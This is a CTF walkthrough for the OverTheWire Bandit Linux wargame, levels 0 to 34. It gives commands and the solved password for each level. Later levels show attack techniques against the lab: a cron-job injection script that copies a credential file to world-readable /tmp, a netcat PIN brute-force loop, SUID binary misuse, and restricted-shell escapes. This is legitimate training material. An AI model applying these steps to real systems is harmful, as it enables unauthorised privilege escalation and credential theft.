LOG_REF // OVERTHEWIRE-BANDIT-COMPLETE-WALKTHROUGHCTF

OverTheWire Bandit Complete Walkthrough (Levels 0 → 34)

2026-08-06crypticrhino0
#OverTheWire#Bandit#Linux#Bash#Networking#Git#Privilege Escalation
[ EXECUTIVE SUMMARY ]Full end-to-end walkthrough covering all 34 levels of OverTheWire Bandit — from basic Linux commands to cron job abuse, git internals, SSL/TLS networking, and shell escapes.

OverTheWire: Bandit Wargame — Complete Walkthrough Report

Author: Shashank Pachori (crypticrhino0)
Designation: R&D Intern, IDevSec
Target: OverTheWire Bandit Wargame
Status: Completed all levels (Bandit 0 through Bandit 34)


1. Executive Summary & Overview

Bandit is an entry-to-intermediate cybersecurity wargame hosted by OverTheWire, designed to build muscle memory for Linux CLI navigation, system administration, privilege escalation techniques, network inspection, and shell manipulation.

Each level requires discovering the password for the subsequent level by utilizing core Linux utilities, reversing compression/encoding layers, auditing cron jobs, inspecting SUID binaries, analyzing git metadata, or escaping restricted shell environments.

This writeup documents the exact technical methodologies, commands, and key takeaways for all 34 levels.


2. Walkthrough by Level

Bandit 0 → Bandit 1

Initial login using default credentials (

bandit0:bandit0
). The password for the next level is stored in
readme.txt
.

cat readme.txt

Password:

6y2kwnwK6grgvwvpvLaa2T1cpFEKOhNR


Bandit 1 → Bandit 2

The target file is named

-
. Bare dashes are interpreted by CLI tools as standard input/output (
stdin
/
stdout
). Specify the relative path
./-
to bypass parameter parsing.

cat ./-

Password:

PK8fYLZg2hnHSz83plBL1iEPKdD3QToB


Bandit 2 → Bandit 3

The filename contains spaces. Encapsulate the filename in quotes or escape spaces with backslashes.

cat "spaces in this filename"

Password:

7ZZ2LFrykP2zEyvBl4m3clcL7tGYJPME


Bandit 3 → Bandit 4

Hidden files in Unix start with a dot (

.
). List all directory contents including hidden files using
ls -la
.

cd inhere
ls -la
cat .hidden

Password:

xzTXq1rDJQVVAzdv5cHq1TQytTWufAMq


Bandit 4 → Bandit 5

The directory contains multiple files, but only one is human-readable ASCII text. Inspect file MIME types using

file
.

cd inhere
file ./*
cat ./-file07

Password:

6C7h9GD8M6ai5nr7wo1RonrzFjj9yIrG


Bandit 5 → Bandit 6

The password file is human-readable, non-executable, and exactly 1033 bytes in size. Use

find
or
du
to locate matching file properties.

cd inhere
du -b -a | grep 1033
cat ./maybehere07/.file2

Password:

pXa26xhMWaC2SvDotA4r9EgZkulOeSBW


Bandit 6 → Bandit 7

The password file is stored somewhere on the system root (

/
), owned by user
bandit7
, group
bandit6
, with a size of 33 bytes. Suppress permission denied errors with
2>/dev/null
.

find / -type f -user bandit7 -group bandit6 -size 33c 2>/dev/null
cat /var/lib/dpkg/info/bandit7.password

Password:

Bmnnvf82KzQlfxgAI2d1zYbr1u9pr3E3


Bandit 7 → Bandit 8

Search for the line next to the string

millionth
in
data.txt
.

grep millionth data.txt

Password:

VR1ljMayciFxbnUokuQmJFw6QC9VKtub


Bandit 8 → Bandit 9

Find the unique line of text in

data.txt
that occurs only once.
uniq
requires sorted input.

sort data.txt | uniq -u

Password:

EjmOSvuAu7sGAHqHVcBDPirRe9T03kxl


Bandit 9 → Bandit 10

Extract human-readable strings from a binary file using

strings
and filter for lines containing
=
.

strings data.txt | grep =

Password:

B0s2khmbT9u0geKuOoVGW3JZKhndE3BG


Bandit 10 → Bandit 11

Decode standard Base64 encoded text.

cat data.txt | base64 -d

Password:

pYfOY6HwUsDj5rL9UvyhU7MCmv8vN5Ro


Bandit 11 → Bandit 12

The file text is obfuscated using ROT13 cipher (Caesar shift of 13 positions).

cat data.txt | tr 'A-Za-z' 'N-ZA-Mn-za-m'

Password:

GROozWPO8QyN0mGrjUkID0WCYkZiQxrN


Bandit 12 → Bandit 13

Decompress a multi-layered nested file containing hex dump, gzip, bzip2, and tar archive structures.

mkdir /tmp/workspace
cd /tmp/workspace
cp ~/data.txt .
xxd -r data.txt > data
file data

# Iterative decompression steps:
mv data binary.gz && gzip -d binary.gz
bzip2 -d binary
tar -xf binary.out
# Repeat file type inspection and unpacking until reaching plaintext file
cat data8

Password:

qQYQiHOBPR8zR61qxYqX45quvihF2uzk


Bandit 13 → Bandit 14

Authentication switches from password-based to an SSH RSA private key (

sshkey.private
).

ssh -i sshkey.private bandit14@bandit.labs.overthewire.org -p 2220

Password:

aaWecNkG4FhxJQxz07uiwzVP6bJiYS65


Bandit 14 → Bandit 15

Transmit the current password to port

30000
on
localhost
via raw TCP connection using Netcat (
nc
).

cat /etc/bandit_pass/bandit14 | nc localhost 30000

Password:

pbLYuZtTg4MgaqfJx8jbA9gKKGqM68A7


Bandit 15 → Bandit 16

Submit password to port

30001
on
localhost
over an SSL/TLS encrypted connection using
openssl s_client
.

openssl s_client -connect localhost:30001
# Input bandit15 password when prompt connects

Password:

kS0Hf0u5HiXFwKMKFqXvPdOTNGGa0X8V


Bandit 16 → Bandit 17

Port scan the local port range (

31000–32000
) using
nmap
to find the SSL listener, then send the current password to retrieve the private key for
bandit17
.

nmap -sV localhost -p 31000-32000
openssl s_client -quiet -connect localhost:31790

Save the returned RSA key to

/tmp/sshkey17.private
, enforce proper file permissions (
chmod 600
), and connect:

ssh -i /tmp/sshkey17.private bandit17@bandit.labs.overthewire.org -p 2220

Bandit 17 → Bandit 18

Compare differences between

passwords.new
and
passwords.old
using
diff
.

diff passwords.new passwords.old

Password:

OQxXZjELndr90zuhOTDYBEomI0SZITXI


Bandit 18 → Bandit 19

The login shell for

bandit18
automatically terminates upon interactive session start (
.bashrc
override). Execute commands directly via SSH parameter without spawning interactive TTY:

ssh bandit18@bandit.labs.overthewire.org -p 2220 "cat readme"

Password:

KpsOfPkcP7i1FlIExk2QEjyt6dw8dxZI


Bandit 19 → Bandit 20

Exploit a custom Set Owner User ID (SUID) binary (

./bandit20-do
) to read elevated system files.

./bandit20-do cat /etc/bandit_pass/bandit20

Password:

4pIjcunZ0fK2vmp3IwfG8Vf7VhxD6pOA


Bandit 20 → Bandit 21

Spawn a local TCP server listener transmitting the

bandit20
password, then execute
./suconnect <port>
to trigger authentication handshake and receive
bandit21
credentials.

# Terminal 1: Listener
echo "4pIjcunZ0fK2vmp3IwfG8Vf7VhxD6pOA" | nc -l -p 4444

# Terminal 2: Trigger
./suconnect 4444

Password:

bW9kBv5WC3P4yoDyf12LSdGuNz5ka6hY


Bandit 21 → Bandit 22

Inspect system cron schedules in

/etc/cron.d/
. The script outputs the target password to a world-readable file path.

cat /etc/cron.d/cronjob_bandit22
cat /usr/bin/cronjob_bandit22.sh
cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv

Password:

RYVux2rHEm9tiXHmLFzuR7Vhx6AZQMEz


Bandit 22 → Bandit 23

The cron script computes target path dynamically via MD5 hash of

I am user bandit23
. Replicate hash calculation:

echo I am user bandit23 | md5sum | cut -d ' ' -f 1
# Hash: 8ca319486bfbbc3663ea0fbe81326349
cat /tmp/8ca319486bfbbc3663ea0fbe81326349

Password:

gKXDTAXnIz3OBxiPjRZ2uqutUlPZrBsw


Bandit 23 → Bandit 24

Cron job automatically executes scripts dropped inside

/var/spool/bandit24/foo/
as user
bandit24
.

mktemp -d
cd /tmp/tmp.exfil
cat > exploit.sh << 'EOF'
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/pass24
chmod 666 /tmp/pass24
EOF

chmod 777 exploit.sh
cp exploit.sh /var/spool/bandit24/foo/
# Wait 60s for cron tick
cat /tmp/pass24

Password:

hVQMk3lJNsmQ7VF3ubyrNNBom7BOgVXv


Bandit 24 → Bandit 25

Brute-force a 4-digit PIN (0000–9999) appended to

bandit24
password on port
30002
.

#!/bin/bash
for pin in {0000..9999}; do
    echo "hVQMk3lJNsmQ7VF3ubyrNNBom7BOgVXv $pin"
done | nc localhost 30002 | grep -v "Wrong!"

Password:

SoHfqMOEqIX2IYKVciZxvgpR9a2Djx4P


Bandit 25 → Bandit 26

bandit26
shell is set to
/usr/bin/showtext
, which invokes
more
on login. Resize terminal height to forced minimum (e.g. 5 lines) to trigger
more
pagination, then break out into Vim command mode:

1. Connect via SSH with small window size
2. Press 'v' to enter Vim
3. :set shell=/bin/bash
4. :shell

Once inside shell:

cat /etc/bandit_pass/bandit26

Password:

jHdv2ELQhT22BkprMNDjybZDAkw1zeBJ


Bandit 26 → Bandit 27

Execute SUID wrapper

./bandit27-do
to read next pass file.

./bandit27-do cat /etc/bandit_pass/bandit27

Password:

STJLJBRRphMxKB392CT4iOr5CbzPU9ER


Bandit 27 → Bandit 28

Clone Git repository hosted on internal SSH port

2220
.

git clone ssh://bandit27-git@bandit.labs.overthewire.org:2220/home/bandit27-git/repo
cd repo
cat README

Password:

y8Yd2ssKcpHpud7UvOSOxwamRMzIGIeQ


Bandit 28 → Bandit 29

Password was removed from current HEAD but remains in Git commit logs.

git clone ssh://bandit28-git@bandit.labs.overthewire.org:2220/home/bandit28-git/repo
cd repo
git log -p

Password:

Em7eGtqaMySwNFjCpwzzHhLhospOcdt0


Bandit 29 → Bandit 30

Password is isolated inside a separate remote branch (

dev
).

git clone ssh://bandit29-git@bandit.labs.overthewire.org:2220/home/bandit29-git/repo
cd repo
git branch -a
git checkout dev
cat README.md

Password:

jq9Dfg2rXsfYsWMgFuKlXhphjdH7USgX


Bandit 30 → Bandit 31

Password is tag-annotated in Git objects.

git clone ssh://bandit30-git@bandit.labs.overthewire.org:2220/home/bandit30-git/repo
cd repo
git tag
git show secret

Password:

82NkymblpGBYmIXG6ZQ8YldBYstHpfUf


Bandit 31 → Bandit 32

Push a required file

key.txt
with specific contents to remote branch master to trigger server-side verification hook response.

git clone ssh://bandit31-git@bandit.labs.overthewire.org:2220/home/bandit31-git/repo
cd repo
echo "May I come in?" > key.txt
git add -f key.txt
git commit -m "add key"
git push origin master

Password:

pWuj5jBQ6IgV0NXwiH6g1pXRF8S1YvbT


Bandit 32 → Bandit 33

Restricted uppercase-shell converts all typed text to uppercase. Bypass using POSIX shell variable

$0
to spawn
/bin/sh
:

$0
whoami # bandit33
cat /etc/bandit_pass/bandit33

Password:

u4P2CyPOwPGLe94RdD9Uo2FxFwvnFswM


Bandit 33 → 34 (Completion)

Read completion notice:

cat README.txt

Notice: "Congratulations on solving the last level of this game!"


3. Core Techniques & Skill Matrix

CategoryUtilities & Concepts
File Systems
find
,
du
, relative pathing (
./-
), hidden files
Data Processing
grep
,
uniq
,
sort
,
strings
,
diff
Encoding / Compression
base64
,
rot13
(
tr
),
xxd
,
gzip
,
bzip2
,
tar
Networking & Services
nc
,
ncat
,
openssl s_client
,
nmap
Privilege EscalationSUID binaries, cron job injection, background listeners
Git ForensicsCommit history, branches, tags, forced remote pushes
Shell Escaping
more
command execution,
$0
uppercase shell bypass

4. Conclusion & Key Takeaways

Solving OverTheWire Bandit end-to-end builds critical operational confidence in Linux security auditing and exploitation fundamentals. Moving from initial CLI parameter manipulation to cron job abuse, network socket interaction, Git metadata forensics, and shell sandbox escapes highlights how small misconfigurations compound into complete system privilege escalation.